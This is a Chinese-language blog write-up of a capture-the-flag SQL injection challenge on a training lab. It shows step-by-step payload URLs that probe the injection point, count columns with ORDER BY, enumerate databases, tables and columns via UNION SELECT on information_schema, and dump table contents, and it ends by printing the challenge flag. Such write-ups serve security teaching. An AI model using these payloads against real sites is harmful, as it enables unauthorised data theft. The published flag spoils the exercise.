[网络安全实验室](SQL注入)最简单的SQL注入(熟悉注入环境)

题目链接:


题目索引第二关


分析:

  1. 打开链接 , 如下图所示 :
Paste_Image.png
  1. 查看源码发现如下图 :
Paste_Image.png
  1. 尝试发送GET请求 :
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

发现内容还是和第一次进入的时候相同 , 说明第一次进入的时候默认参数为 : id = 1

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=2

![Paste_Image.png](http://upload-images.jianshu.io/upload_images/2355077-f6138563cfe2bfd1.png? imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=3
Paste_Image.png
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=4
Paste_Image.png

发现当id = 4的时候内容为空了 , 说明可能这个表里面只有三行数据 , 但是在当 id = 3 的时候 , 文章内容为 : "flag就在这个表里" 说明这个表中的数据肯定不止三行 , 所以可以考虑写一个爬虫来遍历 id , 不过这样也就违背了这道题的初衷 , 而且 , 猜测出题人为了防止爬取 , 会把 flag 的 id 设置的很大 (注入成功后也证实了这一点)

  1. 常规的套路 , 在URL中加 ' 破坏SQL语句的完整性
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%27
Paste_Image.png

报错了 , 说明我们的思路还是正确的 , 我们可以猜测这道题的PHP代码大概应该是这样的 :

$sql = "select * from 表名 where id = '".$_GET['id']."'";
mysql_query($sql);
  1. 再试试添加注释 , 将SQL语句后面的无用的部分注释掉
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%27--+

发现还是报错 , 去掉 id=1 后面的 ' , 成功了 , 说明我们刚才猜测的SQL语句还是有点问题 , id 这个变量并没有被单引号括起来 , 就是没有经过任何修饰传入

  1. 现在正式开始利用 :
  • 猜测列数 :
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%2010--+
报错 , 说明列数小于10
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%205--+
报错 , 说明列数小于10
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%203--+
正常 , 说明列数大于等于3
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20order%20by%204--+
报错 , 说明列数小于4
  • 猜测被 echo 出来数据是表的哪一列 , 以便以后猜测 : 库名 / 表名 / 字段
?id=-1 union select group_concat(SCHEMA_NAME),2,3 from information_schema.SCHEMATA--+
说明第一列数据并没有被显示出来
![Paste_Image.png](http://upload-images.jianshu.io/upload_images/2355077-bd40592183920671.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
?id=-1 union select 1,group_concat(SCHEMA_NAME),3 from information_schema.SCHEMATA--+
说明第二列可以被显示出来
Paste_Image.png
?id=-1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+
说明第三列也可以被显示出来 , 猜测表结构应该是 : id , title , content
Paste_Image.png
  • 猜测 mydbs 库中的所有表名 :
?id=-1 union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA = 'mydbs'--+
说明有 sae_user_sqli3 这个表 , 这个表名也和题目名称 SQLi3_article 相互吻合
Paste_Image.png
  • 继续猜测这个表中的字段 :
?id=-1 union select 1,group_concat(COLUMN_NAME),3 from information_schema.COLUMNS where TABLE_NAME = 'sae_user_sqli3'--+
发现结果也和我们之前预料的差不多
Paste_Image.png
  • 继续获取数据 :
?id=-1 union select 1,group_concat(content),3 from sae_user_sqli3--+
得到的结果也可以说明 : 这个表中的数据不止 3 行 , 成功拿到Flag , 我们在来看看Flag这一行的 id 是多少 ? 
Paste_Image.png
id = 12999 , 这个要是写爬虫跑也得跑好长时间呢 , 还是注入实在
Paste_Image.png

答案:
HKGGflagdfs56757fsdv


知识点:

  1. SQL注入
  2. SQL语句
  3. PHP常识
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行...
    付出从未后悔阅读 717评论 0 3
  • Sql 注入基础原理介绍一、实验说明1.1 实验内容SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而...
    FreaxJJ阅读 1,852评论 3 23
  • 本周主要学习的事SQL注入相关的细节信息,包括数据库枚举方式,判定注入点的方式,注入形式等等,具体如下: 【一、判...
    快递_小哥阅读 1,240评论 0 1
  • 最近好像总是在迟到~其实我的良心都在痛~不知道为什么,这两天总感觉自己好像一直睡不好的样子,晚上不断的失眠,白天不...
    寂静欢喜_f30a阅读 231评论 0 0
  • 花花周围生过孩子的人应该是极少极少的。 对,花花还小!(认真状) 凭你的常识告诉花花,说到怀孕,你会想到什么? 孕...
    cf25a2427b7f阅读 1,218评论 7 3